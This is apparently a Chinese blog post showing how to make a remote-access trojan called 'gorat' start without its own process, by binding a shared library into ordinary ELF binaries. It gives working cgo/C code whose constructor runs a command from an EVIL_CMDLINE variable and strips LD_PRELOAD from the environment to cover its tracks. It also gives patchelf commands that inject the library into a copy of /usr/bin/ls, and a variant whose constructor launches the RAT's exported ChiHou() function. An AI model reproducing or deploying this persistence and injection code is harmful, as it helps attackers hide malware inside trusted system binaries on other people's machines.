一直想给gorat做一个优雅的自启方式,根据frida-gadget启发的一个思路,通过给elf添加so import,就可以实现无额外的进程启动gorat的client
直接使用cgo即可,然后可以配置patchelf进行捆绑

package main

/*
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

*/
import "C"
func main() {}

编译go build -buildmode=c-shared load.go

使用patchelf测试

cp /usr/bin/ls testls
patchelf --add-needed load.so testls
patchelf --add-rpath /home/c/my/code/golang/study/preload testls
EVIL_CMDLINE=pwd ./testls
EVIL_CMDLINE=pwd LD_PRELOAD=./load.so whoami


更进一步

这样我们可以使用cgo执行c代码,但是c怎么直接调用gorat的功能呢,很简单,写把gorat编译成so,在写一个c 调用这个so
稍微修改一下gorat,把启动函数换成非main,然后在export出来

再通过go build -buildmode=c-shared load.go 进行编译
再写一个c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "chihou.h"

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    ChiHou();
    // executive command
}

编译gcc -shared -static -fPIC lib.c -o lib.so ./chihou.so,再使用patchelf增加import

参考资料

http://wiki.f5.pm/doku.php?id=%E5%AE%89%E5%85%A8%E4%B9%8B%E8%B7%AF:%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E%E7%AF%87:web%E7%9B%B8%E5%85%B3:php:%E5%B8%B8%E7%94%A8%E7%BB%95%E8%BF%87_disable_function%E5%92%8Copen_basedir%E7%9A%84%E6%96%B9%E6%B3%95
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://tiancaiamao.gitbooks.io/go-internals/content/zh/09.4.html
https://colobu.com/2018/08/28/c-and-go-calling-interaction/

标签: none